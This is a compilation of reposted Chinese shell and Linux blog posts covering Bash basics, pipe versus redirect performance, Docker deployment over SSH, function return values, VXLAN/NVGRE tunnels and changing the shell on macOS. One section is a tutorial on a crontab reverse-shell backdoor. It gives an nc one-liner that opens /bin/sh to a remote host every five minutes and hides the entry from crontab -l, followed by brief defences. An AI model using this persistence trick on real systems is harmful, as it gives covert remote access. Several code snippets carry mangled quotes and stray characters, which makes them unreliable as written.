在1989年,现在最广泛使用的Bash出现了,它的全称叫做Bourne-Again shell。目的是为了与POSIX的标准保持一致,同时保持对sh的兼容。其实现在很多机器上的/bin/sh往往都链接到bash,我们以为我们是使用Bourne shell,实际上我们使用的是Bourne-Again shell。

文件/etc/shells给出了系统中所有已知的shell

[root@localhost vagrant]# cat /etc/shells
/bin/sh
/bin/bash
/sbin/nologin
/bin/dash
/bin/tcsh
/bin/csh
/bin/ksh 

shell的设置和查找

我们可以为每个用户指定不同的默认shell,在/etc/passwd中设置就可以了

postgres:x:503:503::/home/postgres:/bin/bash

如何查看自己的默认shell

echo $SHELL

如何查看当前的shell

echo $0

原文:http://www.cnblogs.com/yjf512/p/4519371.html

shell: 利用crontab命令定时执行任务反弹shell后门

作者:柠檬草

出自安全盒子团队:www.secbox.cn

blog: http://www.iamstudy.cn

猪猪侠发的文章: http://zone.wooyun.org/content/18244

1、基础知识

http://www.cnblogs.com/kerrycode/p/3238346.html

当前用户的计划任务

crontab -l  查看计划任务 -r 删除所有定时计划任务 -e  编辑计划任务

任务的格式:分 时 天 月 年 用户 命令

* * * * * root /home/oracle/test.sh 1>/home/oracle/log.txt &

2、shell反弹

nc版的shell反弹:

(crontab -l;printf “*/5 * * * *  /bin/nc 192.168.1.153 8080 -e /bin/sh;rno crontab for `whoami`0cn”)|crontab –

利用输出信息,导致crontab -l分辨不出,每5分钟进行连接一次。

shell: 利用crontab命令定时执行任务反弹shell后门
shell: 利用crontab命令定时执行任务反弹shell后门

xsser总结的一篇反弹shell的各种姿势: http://zone.wooyun.org/content/5064

最好用一个不常见的用户执行,任务写入/var/spool/cron/$username

只有在连接的时候才会发现tcp

有大神给出了udp反弹的后门

https://github.com/cloudsec/brootkit/blob/master/ubd.sh

测试的时候有个问题在里面,连接一次后退出,udp文件被改变,并不能再使用。

3、防御:

1、采用白名单,只允许某个帐号使用 crontab命令 。  在 /etc/cron.allow  中设置

2、每一项任务会被记录到/var/log/cron的日记文件中(测试的时候并没有….可能环境不同)

3、crontab -e 编辑当前用户的任务,这时可以看到  当前  用户的计划任务,所以在留后门,需要找一个不常               见的用户

4、cron每分钟会去读取一次/etc/crontab/与/var/spool/cron里面的数据内容,所以要注意里面的数据

原文:http://www.secbox.cn/hacker/web/3629.html

shell: 大文件重定向和管道的效率对比

微博上的@拉风_zhang提出了个问题:

@淘宝褚霸 请教个问题,#1. cat huge_dump.sql | mysql -uroot ;#2. mysql -uroot < huge_dump.sql ;#1效率要高,在linux中通过管道传输 和 < 这种方式有什么差别呢?谢谢!#AskBaye#

这个问题挺有意思的,我的第一反应是:

没比较过,应该是一样的,一个是cat负责打开文件,一个是bash

这种场景在MySQL运维操作里面应该比较多,所以就花了点时间做了个比较和原理上的分析:

我们先构造场景:

首先准备一个程序b.out来模拟mysql对数据的消耗:


$cat

b.c
#include
int main(int argc, char *argv[])
{

 char buf[4096];

 while(fread(buf, sizeof(buf), 1, stdin) > 0);

 return

0;
}
$  gcc  -o b.out b.c

$ls|./b.out

编译好再顺手我们的程序功能是正确的:纯消耗流。

再来写个systemtap脚本用来方便观察程序的行为。


$cat


test.stp
functionshould_log(){

 return


(execname() ==“cat>”

||

   execname() ==“b.out>”

||

   execname() ==“bash>”) ;
}

probe syscall.open,

   syscall.close,

   syscall.read,

   syscall.write,

   syscall.pipe,

   syscall.fork,

   syscall.execve,

   syscall.dup,

   syscall.wait4
{

 if

(!should_log()) next;

 printf(“%s -> %sn>”, thread_indent(0), probefunc());
}
  

probe kernel.function(“pipe_read>”),

   kernel.function(“pipe_readv>”),

   kernel.function(“pipe_write>”),

   kernel.function(“pipe_writev>”)
{

 if

(!should_log()) next;

 printf(“%s -> %s: file ino %dn>”,  thread_indent(0), probefunc(), __file_ino($filp));
}

probe begin { println(“:~>”) }

这个脚本重点观察几个系统调用的顺序和pipe的读写情况,

然后再准备个419M的大文件huge_dump.sql,在我们几十G内存的机器很容易在内存里放下:


$sudo

dd
if=/dev/urandom of=huge_dump.sql bs=4096 count=102400

102400+0 recordsin
102400+0 records out
419430400 bytes (419 MB) copied, 63.9886 seconds, 6.6 MB/s

因为这个文件是用bufferio写的,所以它的内容都cache在pagecahce内存里面,不会涉及到磁盘。

好了,场景齐全了,我们接着来比较下二种情况下的速度:


$time


(cat

huge_dump.sql|./b.out)
  
real    0m0.596s
user    0m0.001s
sys     0m0.919s
  

$time

(./b.out
  
real    0m0.151s
user    0m0.000s
sys     0m0.147s

从数字看出来速度有3倍左右的差别了,第二种明显快很多。

是不是有点奇怪?好吧我们来从原来上面分析下,还是继续用数据说话:

这次准备个很小的数据文件,方便观察然后在一个窗口运行stap


$echo

hello > huge_dump.sql

$sudo


staptest.stp
:~

   0bash(26570): -> sys_read

   0bash(26570): -> sys_read

   0bash(26570): -> sys_write

   0bash(26570): -> sys_read

   0bash(26570): -> sys_write

   0bash(26570): -> sys_close

   0bash(26570): -> sys_pipe

   0bash(26570): -> sys_pipe

   0bash(26570): -> do_fork

   0bash(26570): -> sys_close

   0bash(26570): -> sys_close

   0bash(26570): -> do_fork

   0bash(13775): -> sys_close

   0bash(13775): -> sys_read

   0bash(13775): -> pipe_read:file

ino 20906911

   0bash(13775): -> pipe_readv:file

ino 20906911

   0bash(13776): -> sys_close

   0bash(13776): -> sys_close

   0bash(13776): -> sys_close

   0bash(13776): -> do_execve

   0bash(26570): -> sys_close

   0bash(26570): -> sys_close

   0bash(26570): -> sys_close

   0bash(13775): -> sys_close

   0bash(26570): -> sys_wait4

   0bash(13775): -> sys_close

   0bash(13775): -> sys_close

   0 b.out(13776): -> sys_close

   0 b.out(13776): -> sys_close

   0bash(13775): -> do_execve

   0 b.out(13776): -> sys_open

   0 b.out(13776): -> sys_close

   0 b.out(13776): -> sys_open

   0 b.out(13776): -> sys_read

   0 b.out(13776): -> sys_close

   0cat(13775): -> sys_close

   0cat(13775): -> sys_close

   0 b.out(13776): -> sys_read

   0 b.out(13776): -> pipe_read:file

ino 20906910

   0 b.out(13776): -> pipe_readv:file

ino 20906910

   0cat(13775): -> sys_open

   0cat(13775): -> sys_close

   0cat(13775): -> sys_open

   0cat(13775): -> sys_read

   0cat(13775): -> sys_close

   0cat(13775): -> sys_open

   0cat(13775): -> sys_close

   0cat(13775): -> sys_open

   0cat(13775): -> sys_read

   0cat(13775): -> sys_write

   0cat(13775): -> pipe_write:file

ino 20906910

   0cat(13775): -> pipe_writev:file

ino 20906910

   0cat(13775): -> sys_read

   0 b.out(13776): -> sys_read

   0 b.out(13776): -> pipe_read:file

ino 20906910

   0 b.out(13776): -> pipe_readv:file

ino 20906910

   0cat(13775): -> sys_close

   0cat(13775): -> sys_close

   0bash(26570): -> sys_wait4

   0bash(26570): -> sys_close

   0bash(26570): -> sys_wait4

   0bash(26570): -> sys_write

stap在收集数据了,我们在另外一个窗口运行情况1管道的情况:


$cat

huge_dump.sql|./b.out

我们从systemtap的日志可以看出: bash fork了2个进程,然后execve分别运行cat 和 b.out进程, 这二个进程用pipe通信,数据从由cat从 huge_dump.sql读出,写到pipe,然后b.out从pipe读出处理。

那么再看下情况二重定向的情况:

$ ./b.out < huge_dump.sql 
  
stap输出:

   0bash(26570): -> sys_read

   0bash(26570): -> sys_read

   0bash(26570): -> sys_write

   0bash(26570): -> sys_read

   0bash(26570): -> sys_write

   0bash(26570): -> sys_close

   0bash(26570): -> sys_pipe

   0bash(26570): -> do_fork

   0bash(28926): -> sys_close

   0bash(28926): -> sys_read

   0bash(28926): -> pipe_read:file

ino 20920902

   0bash(28926): -> pipe_readv:file

ino 20920902

   0bash(26570): -> sys_close

   0bash(26570): -> sys_close

   0bash(26570): -> sys_wait4

   0bash(28926): -> sys_close

   0bash(28926): -> sys_open

   0bash(28926): -> sys_close

   0bash(28926): -> do_execve

   0 b.out(28926): -> sys_close

   0 b.out(28926): -> sys_close

   0 b.out(28926): -> sys_open

   0 b.out(28926): -> sys_close

   0 b.out(28926): -> sys_open

   0 b.out(28926): -> sys_read

   0 b.out(28926): -> sys_close

   0 b.out(28926): -> sys_read

   0 b.out(28926): -> sys_read

   0bash(26570): -> sys_wait4

   0bash(26570): -> sys_write

   0bash(26570): -> sys_read

bash fork了一个进程,打开数据文件,然后把文件句柄搞到0句柄上,这个进程execve运行b.out,然后b.out直接读取数据。

现在就非常清楚为什么二种场景速度有3倍的差别:

情况1. 读二次,写一次,外加一个进程上下文切换。

情况二:只读一次。

小结: 越简单的事情,有时候越有意思!祝玩得开心!

原文:http://blogread.cn/it/article/4695?f=hot1

shell: 使用 SSH 和 shell 脚本部署 Docker 镜像

shell: 使用 SSH 和 shell 脚本部署 Docker 镜像
shell: 使用 SSH 和 shell 脚本部署 Docker 镜像

译者按:在本专栏的前面的文章中,我们已经提到过使用 Docker 的基本方法,因此本次讲解一下 使用 SSH 和 shell 脚本进行 Docker 镜像的自动化部署 ,原文仅供参考,因为对于 Docker 镜像,我们可以有更好的解决方案: Docker Registry Hub 。但是,本文仍然可以作为 shell 脚本的参考范例。

背景

当我们将本站转移到 Docker 容器内之后,我一直在寻求能进行自动化构建和部署镜像的方法。毫无疑问,Docker 本身是一个非常完美的应用容器,但是 Docker 并没有提供能够自动化更新镜像的标准方法。当然,我写了一些 shell 脚本,实现了 Docker 容器镜像的自动化部署。

我们假设基础架构是一台 Linux 宿主机和几个独立的 Docker 镜像,没有网站运行时产生的动态文件,例如用户上传的文件。

当然,要解决这些动态文件也非常简单,本篇文章中的脚本只需要修改一小部分,然后加上 data only container 便可以完美解决动态文件的问题。

那么,我们开始进行自动化部署吧。

脚本

脚本的初衷非常简单:构建镜像,上传镜像,使用新镜像重启容器。我们会分段讲解脚本,当然你只需要把本文的脚本段落组合起来,便可以执行自动化部署了。

假设我们的 apache 文件在 apache/ 子目录,一个监控程序在 monitoring/ 子目录。

设置环境

假设我们的脚本名称为 deploy.sh,使用如下命令进行初始化:

#!/bin/bash
set -e
REMOTE_USERNAME="...>"
REMOTE_HOST="...>"
IMAGE_REPOSITORY="my_repository>"
 

前面两个变量并不需要解释,后面上传镜像的时候用的到。最后一个变量是 Docker 镜像的名称,你需要设置自己的镜像名称,在后面我们也会有这个名称进行检测。

再后文中我们会建立同一个名称但是 tag 不同的两个镜像分别存储 apache 和 monitor。

构建

第一件要做的事情便是构建镜像,构建过程和普通的 Docker 命令一样。我们写了一个函数专门用来构建镜像:

function build_image {
	docker build -t $IMAGE_REPOSITORY:$1 $2
}
build_image apache apache/
build_image monitoring monitoring/
 

我们使用上面的已经定义的 IMAGE_REPOSITORY名称命名镜像,并且对我们的两个 apache 和 monitoring 镜像贴标签。

上传

当然本专栏的前文中提到,镜像可以输出到文件,也可以由文件输入。当然也可以从标准输入输出流进行输入输出。我们使用标准输入输出流和管道进行操作。这个输入和上传的操作很容易用一行 shell 语句写出来。

docker save $IMAGE_REPOSITORY:$1 | bzip2 | pv | ssh $REMOTE_USERNAME@$REMOTE_HOST 'bunzip2 | docker load'
 

当然,成熟的程序员都会写个函数,顺便做做重复性检测,毕竟几百 M 的文件呢,上传都要好久,还能节省带宽。尤其是有很多镜像需要上传的时候,万一有几个重复的呢。我们所需要的就是按照镜像名称和标签列出本机和远程服务器上的 Docker 容器的 ID,然后检测他们的 ID 是否相同。

本节的 shell 脚本如下。

function upload_image_if_needed {
	if [[ $(ssh $REMOTE_USERNAME@$REMOTE_HOST "docker images $IMAGE_REPOSITORY | grep $1 | tr -s ' ' | cut -d ' ' -f 3>") != $(docker images $IMAGE_REPOSITORY | grep $1 | tr -s ' ' | cut -d ' ' -f 3) ]]
	then
		echo "$1 image changed, updating...>"
		docker save $IMAGE_REPOSITORY:$1 | bzip2 | pv | ssh $REMOTE_USERNAME@$REMOTE_HOST 'bunzip2 | docker load'
	else
		echo "$1 image did not change>"
	fi
}
upload_image_if_needed apache
upload_image_if_needed monitoring
 

更新容器

上面说的是更新镜像,本节讲的是更新容器。现在是最后一步,我们需要使用新镜像重启容器。当然,和其他的语言一样,我们可以将远程主机上的命令写成本机上的输入形式:

ssh -tt $REMOTE_USERNAME@$REMOTE_HOST << EOF
...
exit
EOF
 &#91;/code&#93;
<p>然后判断容器是否存在,如果存在就结束容器。</p>

docker rm -f ${IMAGE_REPOSITORY}_apache || true
docker rm -f ${IMAGE_REPOSITORY}_monitoring || true
 

注:可能有读者对 docker rm -f ${IMAGE_REPOSITORY}_apache这条命令感到不解,在此解释一下。原文作者使用制定名称 ${IMAGE_REPOSITORY}_apache对容器进行命名。

||是必需的,因为如果容器不存在的话, docker rm命令便会返回一个错误。我们只需要删除容器,并不去判断他们是否存在。不存在的也就不用删除,当然,删除也没问题。

下面一步便是启动容器:

docker run -d --name ${IMAGE_REPOSITORY}_apache $IMAGE_REPOSITORY:apache
docker run -d --name ${IMAGE_REPOSITORY}_monitoring $IMAGE_REPOSITORY:monitoring
 

完整版本

为了便于阅读,我特意整理了所有脚本的完全版,如下:

#!/bin/bash
set -e
REMOTE_USERNAME="...>"
REMOTE_HOST="...>"
IMAGE_REPOSITORY="my_repository>"
function upload_image_if_needed {
if [[ $(ssh $REMOTE_USERNAME@$REMOTE_HOST "docker images $IMAGE_REPOSITORY | grep $1 | tr -s ' ' | cut -d ' ' -f 3>") != $(docker images $IMAGE_REPOSITORY | grep $1 | tr -s ' ' | cut -d ' ' -f 3) ]] then
echo "$1 image changed, updating...>"
docker save $IMAGE_REPOSITORY:$1 | bzip2 | pv | ssh $REMOTE_USERNAME@$REMOTE_HOST 'bunzip2 | docker load'
else
echo "$1 image did not change>"
fi
}
function build_image {
docker build -t $IMAGE_REPOSITORY:$1 $2
}
build_image apache apache/
build_image monitoring monitoring/
upload_image_if_needed apache
upload_image_if_needed monitoring
ssh -tt $REMOTE_USERNAME@$REMOTE_HOST << EOF docker rm -f ${IMAGE_REPOSITORY}_apache || true docker rm -f ${IMAGE_REPOSITORY}_monitoring || true docker run -d --name ${IMAGE_REPOSITORY}_apache $IMAGE_REPOSITORY:apache docker run -d --name ${IMAGE_REPOSITORY}_monitoring $IMAGE_REPOSITORY:monitoring exit EOF [/code]

结论

Docker 确实是容器中的佼佼者,而且有很好的命令行支持,但是目前还是缺少能便捷部署 Docker 容器的方式。当然,通过几段简单的脚本,我们便可以解决这个问题。我希望这些脚本也能帮助到你。

译者的话

本文对容器的操作比较简单粗暴,使用 docker rm命令进行强行删除,可能会导致一段时间(一般不到半分钟,视情况而定)的网站 403,404 或者 503。

除此之外,本文的 shell 操作可以当成是 shell 远程执行命令的范例。

本专栏将继续推出 Docker 系列文章,欢迎关注。

原文:http://segmentfault.com/a/1190000002787981

shell: shell中函数返回值

1、前言

快半年没有写博客了,荒废了很久,工作中的杂事太多,自己越来越懒了。为了鞭策自己成长,还是要坚持写写博客,记录自己的成长。

2、shell函数介绍

语法:

 [ function  ] funname [()]
 {
   action;
    [return  int;]
 }  

说明:

(1)可以带function fun()  定义,也可以直接fun() 定义,不带任何参数。

(2)参数返回,可以显示加:return 返回,如果不加,将以最后一条命令运行结果,作为返回值。 return后跟数值n(0-255),还可以通过echo 直接返回。

3、注意

shell中通过return返回是有限制的,最大返回255,超过255,则从0开始计算。

今天在工作中犯了这个错误,导致输出的值不对,被测试部提bug。

shell脚本调用例子:

# !/bin/sh
echo  "shell function operation>"
func1()
{
	local num1 =100
	local num2 =100
	let sum =$num1 +$num2
return  $sum
}
func2()
{
	local num1 =100
	local num2 =155
	let sum =$num1 +$num2
return  $sum
}
func3()
{
	local num1 =100
	local num2 =156
	let sum =$num1 +$num2
return  $sum
}
func4()
{
	local num1 =100
	local num2 =156
	let sum =$num1 +$num2
echo  $sum
}
func1
 echo  "called func1:$?>"
func2
 echo  "called func2:$?>"
func3
 echo  "called func3:$?>"
sum =`func4`
 echo  "called func4:$sum >"
 

执行结果如下所示:

原文:http://www.cnblogs.com/Anker/p/4529465.html

shell: 隧道和网络虚拟化:NVGRE vs VXLAN

关于NVGRE和VXLAN隧道协议相信大家都不陌生,但是事实上隧道协议只是虚拟化网络中的一部分,它并不提供实质性的功能,只是定义不同虚拟机之间如何封装、转发数据包。本文想强调两点:其一,NVGRE和VXLAN都是用三层协议封装二层协议;其二,这两项技术都解决了VLAN规模固定的问题,不再局限于4094个。随着各种新技术的兴起,一项标准已经无法满足需求,技术巨头们争先恐后的想让自己的标准成为业内统一的标准,其中NVGRE和VXLAN就是典型的例子,那么这两项技术的区别到底在哪里呢?

shell: 隧道和网络虚拟化:NVGRE vs VXLAN
shell: 隧道和网络虚拟化:NVGRE vs VXLAN

VXLAN

VXLAN主要是由Cisco推出的,VXLAN的包头有一个24bit的ID段,即意味着1600万个独一无二的虚拟网段,这个ID通常是对UDP端口采取伪随机算法而生成的(UDP端口是由该帧中的原始MAC Hash生成的)。这样做的好处是可以保证基于5元组的负载均衡,保存VM之间数据包的顺序,具体做法是将数据包内部的MAC组映射到唯一的UDP端口组。将二层广播被转换成IP组播,VXLAN使用IP组播在虚拟网段中泛洪而且依赖于动态MAC学习。VXLAN封装将数据包大小扩展到50字节,如下图所示:

shell: 隧道和网络虚拟化:NVGRE vs VXLAN
shell: 隧道和网络虚拟化:NVGRE vs VXLAN

由于数据包比较大,所以VXLAN需要借助支持大型帧的传输网络才能支持数据包规模的扩展。

NVGRE

NVGRE主要支持者是Microsoft。与VXLAN不同的是,NVGRE没有采用标准传输协议(TCP/UDP),而是借助通用路由封装协议(GRE)。NVGRE使用GRE头部的低24位作为租户网络标识符(TNI),与VXLAN一样可以支持1600个虚拟网络。为了提供描述带宽利用率粒度的流,传输网络需要使用GRE头,但是这导致NVGRE不能兼容传统负载均衡,这是NVGRE与VXLAN相比最大的区别也是最大的不足。为了提高负载均衡能力建议每个NVGRE主机使用多个IP地址,确保更多流量能够被负载均衡。

shell: 隧道和网络虚拟化:NVGRE vs VXLAN
shell: 隧道和网络虚拟化:NVGRE vs VXLAN

NVGRE不需要依赖泛洪和IP组播进行学习,而是以一种更灵活的方式进行广播,但是这需要依赖硬件/供应商。最后一个区别关于分片,NVGRE支持减小数据包最大传输单元以减小内部虚拟网络数据包大小,不需要要求传输网络支持传输大型帧。

实验

OVS(open Vswitch)可以支持这两种隧道协议。可以实现两个虚拟机的简单通信,在两个主机上面分别运行VM,并且在这个VM之间创建一个隧道。如果没有GRE隧道,两个VM就无法连接。在主机之间创建隧道的简单步骤:

1、主机1配置如下:

Shell

ovs-vsctl add-br brgre
ovs-vsctl add-br brvm
ovs-vsctl add-port brgre eth0
ifconfig eth0 0
ifconfig brgre 192.168.1.100 netmask 255.255.255.0
route add default gw 192.168.1.1 brgre
ifconfig brvm 10.1.2.10 netmask 255.255.255.0
ovs-vsctl add-port brvm gre1 -- set interface gre1 type=gre options:remoteip=192.168.1.111 

2、主机2配置如下:

Shell

ovs-vsctl add-br brgre
ovs-vsctl add-br brvm
ovs-vsctl add-port brgre eth0
ifconfig eth0 0
ifconfig brgre 192.168.1.111 netmask 255.255.255.0
route add default gw 192.168.1.1 brgre
ifconfig brvm 10.1.2.11 netmask 255.255.255.0
ovs-vsctl add-port brvm gre1 -- set interface gre1 type=gre options:remoteip=192.168.1.100 

在每台主机中创建2个桥,其中brvm用于仿真虚拟机,另一个brgre用作与其他主机的做隧道(VTEP)连接。eth0连接brgre,brgre绑定IP用于实现隧道。为了简化实验,我将GRE隧道设置在同一子网中,当然可以放于不同域中使仿真场景更真实。下面就可以进行测试了,10.1.2.10和10.2.1.11应该是可以ping通的,这两个VM域通过隧道连接,同样,也可以改成VXLAN隧道配置。

原文链接:http://www.ran-lifshitz.com/2014/08/24/tunneling-and-network-virtualization-nvgre-vxlan/(译者:房超 审校:方辉)

原文:http://www.sdnlab.com/11819.html

shell: 在 Mac OS X 的网络账户中修改 shell(chsh)

  • 本站文章除注明转载外,均为本站原创或者翻译。
  • 本站文章欢迎各种形式的转载,但请18岁以上的转载者注明文章出处,尊重我的劳动,也尊重你的智商;
  • 本站部分原创和翻译文章提供markdown格式源码,欢迎使用 文章源码进行转载;
  • 本文标题:在 Mac OS X 的网络账户中修改 shell(chsh)
  • 本文链接: http://zengrong.net/post/2292.htm

在 Mac OS X 上,我们可以在 Users & Groups设置中指定 Network Account Server来开启网络账户的登录。但是,当我试图讲网络账户的默认 shell 从 bash 修改为 zsh 的时候,出现了问题。

直接执行 chsh命令,会在默认编辑器中打开下面的内容:

# Changing user information for rzeng.
# Use "passwd>" to change the password.
##
# Open Directory: /Active Directory/XXXX/xxxx.com
##
Shell: /bin/bash
Full Name: Rong Zeng
Office Location:
Office Phone:
Home Phone: 

当编辑了 shell:的值之后,保存会出现这样的提示:

chsh: Operation was denied because the current credentials do not have the appropriate privileges. Operation was denied because the current credentials do not have the appropriate privileges.chsh: no changes made

直接使用 sudo chsh -s /bin/zsh,也会出现同样的提示。

根据 How do I change a users default shell in OSX?提到的,按住 Ctrl 键单击 User & Groups中显示的用户名称,会出现 Advanced Options…选项,在其中可以设置默认的 shell。

但是, Network Account没有 Advanced Options,而其他用户都有。

最后,还是这个问答通过曲线救国的方式解决了问题: chsh doesn’t change $SHELL

方法很简单,操作系统不是不让改么?那么就直接改应用程序!

我使用的是 iTerm.app 代替默认的 Terminal 。进行如下的设置即可让 iTerm.app 启动的时候自动启动 zsh。

  1. 点击 iTerm.app -> Preferences -> Profiles -> General -> Command
  2. 设置 Command:的值为 /bin/zsh

其实,如果不怕麻烦,在启动 shell 之后,再敲入 zsh回车也能达到同样的效果。

(全文完)

原文:http://zengrong.net/post/2292.htm